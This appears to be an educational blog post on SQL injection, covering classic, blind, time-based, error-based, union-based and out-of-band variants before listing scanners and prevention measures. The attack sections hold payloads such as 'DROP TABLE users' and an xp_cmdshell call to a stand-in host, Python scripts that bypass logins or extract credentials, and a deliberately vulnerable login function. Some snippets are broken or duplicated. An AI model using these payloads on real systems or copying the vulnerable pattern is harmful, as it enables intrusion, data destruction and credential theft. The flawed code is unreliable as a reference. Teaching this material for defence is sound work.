Sitemap

SQL Injection

8 min readJan 31, 2024

--

Press enter or click to view image in full size
https://portswigger.net/web-security/sql-injection

SQL Injection(SQLi), a malicious technique used by hackers to exploit vulnerabilities in web applications, is a dark and powerful weapon in the world of cybercrime. This sinister method allows attackers to inject malicious SQL code into a website’s database, enabling them to manipulate data, gain unauthorized access, and wreak havoc on unsuspecting victims.

The consequences of SQL Injection are far-reaching and devastating. It can lead to financial loss, reputational damage, and legal repercussions. Once a website falls victim to this malicious attack, the road to recovery is long and arduous. It requires extensive security measures, thorough code audits, and rebuilding trust with users who have been scarred by the breach.

There are several types of SQL injection, each with its characteristics.

Here are some common types:

Classic SQL Injection: In classic SQL injection, attackers inject malicious SQL code into user input fields. This often occurs in login forms, search boxes, or any other input fields where user data is accepted without proper validation.

Username: admin'; DROP TABLE users; --
import mysql.connector

def login(username, password):
try:
conn = mysql.connector.connect(
host="localhost",
user="root",
password="password",
database="mydatabase"
)
cursor = conn.cursor()

# Vulnerable SQL query
query = "SELECT * FROM users WHERE username = '{}' AND password = '{}'".format(username, password)

cursor.execute(query)
result = cursor.fetchall()

if len(result) > 0:
print("Login successful!")
else:
print("Invalid credentials!")

conn.close()

except mysql.connector.Error as error:
print("Error connecting to MySQL: {}".format(error))

username = input("Enter username: ")
password = input("Enter password: ")
login(username, password)

In this code snippet, we have a vulnerable SQL query that concatenates the username and password variables directly into the query string without any sanitization or parameterization. This leaves the door wide open for SQL injection attacks.

import requests

# The vulnerable website URL
url = "http://example.com/login"

# The payload for the SQL injection attack
payload = "' OR '1'='1' -- "

# The login credentials
username = "admin"
password = "password"

# The malicious SQL injection attack
data = {
"username": username + payload,
"password": password
}

# Sending the malicious request
response = requests.post(url, data=data)

# Checking if the attack was successful
if "Login successful" in response.text:
print("Congratulations! You've successfully bypassed the login system.")
else:
print("Oops! The SQL injection attack failed. Try a different payload.")

Blind SQL Injection: In blind SQL injection, the attacker does not directly see the result of the injected SQL code. Instead, they infer information based on the true or false responses of the application. This type is more challenging for attackers but can still lead to data extraction.

Username: admin' AND '1'='1'; --
import requests

url = "http://www.targetwebsite.com/login"
payload = "' OR '1'='1' UNION SELECT NULL,username,password FROM users -- "

response = requests.post(url, data={"username": payload, "password": "password"})

if "Successful login" in response.text:
print("Blind SQL Injection successful!")
else:
print("Injection failed.")
def check_if_true(payload):
url = "https://example.com/login"
username = f"admin' AND {payload} AND '1'='1'"
password = "password"

data = {
"username": username,
"password": password
}

response = requests.post(url, data=data)
return "Login Successful" in response.text

def exploit_blind_sqli():
payload = "SELECT COUNT(*) FROM users WHERE username LIKE 'a%'"
result = ""

for i in range(1, 50):
if check_if_true(payload + f" AND LENGTH(username)={i}"):
for j in range(32, 127):
if check_if_true(payload + f" AND ASCII(SUBSTRING(username, {i}, 1))={j}"):
result += chr(j)
break

return result

print(exploit_blind_sqli())

Time-Based Blind SQL Injection: This is a variation of blind SQL injection where the attacker introduces a delay in the response to confirm if the injected SQL statement is true or false. The delay helps in determining whether the injected condition is met.

Username: admin' AND IF(1=1, SLEEP(5), 0); --
import requests
import time

def perform_time_based_sqli(url):
# The vulnerable parameter in the URL
vulnerable_param = "id"

# The payload for time-based SQL injection
payload = f"' OR SLEEP(5) OR '{time.sleep(0.5)}"

# Craft the malicious URL
malicious_url = f"{url}?{vulnerable_param}={payload}"

# Send the request and measure the response time
start_time = time.time()
response = requests.get(malicious_url)
end_time = time.time()

# Check if the response time indicates successful injection
if end_time - start_time > 5:
print("Time-based SQL injection successful!")
else:
print("Injection failed.")

# Usage example
target_url = "http://example.com/vulnerable.php"
perform_time_based_sqli(target_url)
import requests
import time

def perform_time_based_sqli(url):
payload = "' OR SLEEP(5) -- "
start_time = time.time()
response = requests.get(url + payload)
end_time = time.time()

if end_time - start_time > 4:
print("The website is vulnerable to Time-Based SQL Injection!")
else:
print("The website is not vulnerable to Time-Based SQL Injection.")


target_url = "https://www.example.com/somepage.php?id="

perform_time_based_sqli(target_url)
import requests
import time

url = "https://example.com/vulnerable-page.php"
injection_point = "id"
query_delay = 5

def perform_injection(injection_value):
payload = f"1' AND SLEEP({query_delay}) -- -"
params = {injection_point: payload}
start_time = time.time()
response = requests.get(url, params=params)
end_time = time.time()
elapsed_time = end_time - start_time

if elapsed_time >= query_delay:
print(f"The injection value {injection_value} is correct.")
else:
print(f"The injection value {injection_value} is incorrect.")

# Example usage
injection_value = "admin' OR '1'='1"
perform_injection(injection_value)

Error-Based SQL Injection: In error-based SQL injection, attackers intentionally trigger SQL errors to obtain information about the structure of the database. Error messages generated by the database are exploited to gather details that aid in the attack.

Username: admin' OR 1=1; --
import requests

# The vulnerable website URL
url = "http://example.com/vulnerable_page.php"

# The payload for the SQL injection attack
payload = "' OR 1=1; -- "

# The complete URL with the payload
injected_url = f"{url}?id={payload}"

# Send the request and print the response
response = requests.get(injected_url)
print(response.text)
import requests

def perform_injection(url, query):
payload = f"' OR {query}--"
modified_url = url.replace("PARAMETER", payload)
response = requests.get(modified_url)

if "Error" in response.text:
print("[+] Injection successful!")
else:
print("[-] Injection failed.")

# Usage example
url = "https://example.com/somepage?param=PARAMETER"
query = "SELECT COUNT(*) FROM users WHERE username = 'admin' AND 1=0 UNION SELECT 1--"

perform_injection(url, query)

In the perform_injection function, we take a target URL and a SQL query as input. The payload variable contains the injection payload that will attempt to bypass the authentication logic. We then replace the placeholder "PARAMETER" in the URL with the payload.

Next, we send a GET request to the modified URL. If the response contains an error message, we consider the injection successful. Otherwise, we assume the injection failed.

Union-Based SQL Injection: Union-based SQL injection involves exploiting the UNION SQL operator to combine the result of the original query with the result of an injected query. This can be used to extract data from other tables.

Input: ' UNION SELECT username, password FROM users; --
import requests

def union_based_injection(url, query):
# Craft the payload for Union-Based SQL Injection
payload = f"' UNION SELECT {query}-- "

# Send the malicious request
response = requests.get(url + payload)

# Process and display the response
print(response.text)

# Usage Example
url = "http://example.com/sqli-vulnerable-page"
query = "column1, column2, column3 FROM users"
union_based_injection(url, query)
import requests

def perform_union_based_attack(url, vulnerable_parameter):
payload = "' UNION SELECT 1,2,3,4,5,username,password FROM users -- "
params = {vulnerable_parameter: payload}
response = requests.get(url, params=params)
if response.status_code == 200:
print("Successful Union-Based SQL Injection! Here are the results:")
print(response.text)
else:
print("Injection failed. Maybe the website is patched or not vulnerable.")

# Usage example
target_url = "https://example.com/login.php"
vulnerable_param = "username"
perform_union_based_attack(target_url, vulnerable_param)

Out-of-Band SQL Injection: In out-of-band SQL injection, the attacker retrieves data using a different channel than the one used for the injection. This can involve making DNS requests, triggering HTTP requests, or other out-of-band communication.

# DNS-based
Input: '; EXEC xp_cmdshell('nslookup malicious.com'); --
import requests

def union_based_injection(url, query):
# Craft the payload for Union-Based SQL Injection
payload = f"' UNION SELECT {query}-- "

# Send the malicious request
response = requests.get(url + payload)

# Process and display the response
print(response.text)

# Usage Example
url = "http://example.com/sqli-vulnerable-page"
query = "column1, column2, column3 FROM users"
union_based_injection(url, query)


Detecting SQL injection vulnerabilities in web applications requires a combination of manual testing and automated tools.

Here are some popular tools commonly used for SQL injection detection:

SQLMap: SQLMap is one of the most powerful and widely used open-source penetration testing tools specifically designed for detecting and exploiting SQL injection vulnerabilities. It supports various database management systems (DBMS) and provides options for automatic detection and exploitation.

Website: SQLMap

Burp Suite: Burp Suite is a comprehensive web application security testing tool that includes features for scanning, crawling, and analyzing web applications. Its functionality can be extended with various plugins, and it provides both free and commercial versions.

Get Derya Cortuk’s stories in your inbox

Join Medium for free to get updates from this writer.

Website: Burp Suite

Netsparker: Netsparker is a web application security scanner that helps identify and remediate various vulnerabilities, including SQL injection. It offers automatic detection, detailed reporting, and integration with development tools.

Website: Netsparker

Acunetix: Acunetix is a web vulnerability scanner that checks for various security issues, including SQL injection. It provides a user-friendly interface, automatic scanning, and comprehensive reporting.

Website: Acunetix

AppScan: IBM Security AppScan is an enterprise-level application security testing solution. It helps identify and remediate security vulnerabilities, including SQL injection, in web applications and web services.

Website: IBM Security AppScan

Zed Attack Proxy (ZAP): ZAP is an open-source security testing tool maintained by OWASP. It includes automated scanners for finding vulnerabilities in web applications, including SQL injection.

Website: OWASP Zed Attack Proxy (ZAP)

Wapiti: Wapiti is an open-source web application vulnerability scanner that can identify various security weaknesses, including SQL injection. It is designed to be easy to use and provides detailed reports.

Website: Wapiti

When using these tools, it’s important to do so responsibly and ethically, ensuring that you have proper authorization to test the security of the web applications. Additionally, manual testing and code review should complement automated tools to achieve a thorough security assessment.

How to Prevent SQL Injection:

Preventing SQL injection involves implementing various security measures to ensure that user input is properly validated, sanitized, and parameterized before being used in SQL queries.

Use Parameterized Statements (Prepared Statements):

  • Instead of constructing SQL queries by concatenating strings, use parameterized statements provided by the programming language or framework. Parameterized queries automatically handle the escaping of user input, making it more difficult for attackers to inject malicious SQL code.
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (user_input_username, user_input_password))

Input Validation:

  • Validate and sanitize user input before using it in SQL queries. Ensure that input adheres to expected formats and lengths. Use whitelisting to only allow certain types of input.

Stored Procedures:

  • Use stored procedures to encapsulate SQL logic on the database server. Stored procedures can help prevent SQL injection by separating SQL code from user input.

Least Privilege Principle:

  • Assign the least privilege necessary to database accounts. Avoid using accounts with excessive permissions. If an account only needs read access, grant only read access.

Web Application Firewalls (WAFs):

  • Implement a Web Application Firewall that can detect and block SQL injection attempts. WAFs can act as an additional layer of defense against various web application attacks.

ORMs (Object-Relational Mappers):

  • Use Object-Relational Mappers like Hibernate, Entity Framework, or Sequelize, which often provide built-in protection against SQL injection by abstracting SQL interactions.

Whitelist Input Filtering:

  • Use whitelist input filtering to allow only specific characters or patterns in user input. This helps prevent the injection of special characters that could be used in SQL injection attacks.

Regular Security Audits:

  • Conduct regular security audits and code reviews to identify and address potential vulnerabilities, including SQL injection. Automated code analysis tools can assist in detecting such issues.

Database Connection Pooling:

  • Use database connection pooling mechanisms provided by frameworks or libraries. Connection pooling can help manage database connections efficiently and reduce the risk of SQL injection.

Error Handling:

  • Implement proper error handling without exposing detailed error messages to users. Display generic error messages to users and log detailed errors for internal use only.

Content Security Policy (CSP):

  • Implement a Content Security Policy to mitigate the risk of XSS attacks, which could potentially lead to SQL injection vulnerabilities.

By combining these practices, developers can significantly reduce the risk of SQL injection attacks and enhance the overall security of their web applications. It’s crucial to follow a defense-in-depth strategy, incorporating multiple layers of security measures.

Note: The provided SQL code examples are presented to understand SQL injection and develop defense strategies. However, using these codes in real systems or on others’ systems is unethical and may be illegal. These code examples are solely for informational and educational purposes. In real applications, you should always work to identify and fix security vulnerabilities in a responsible and authorized manner.

--

--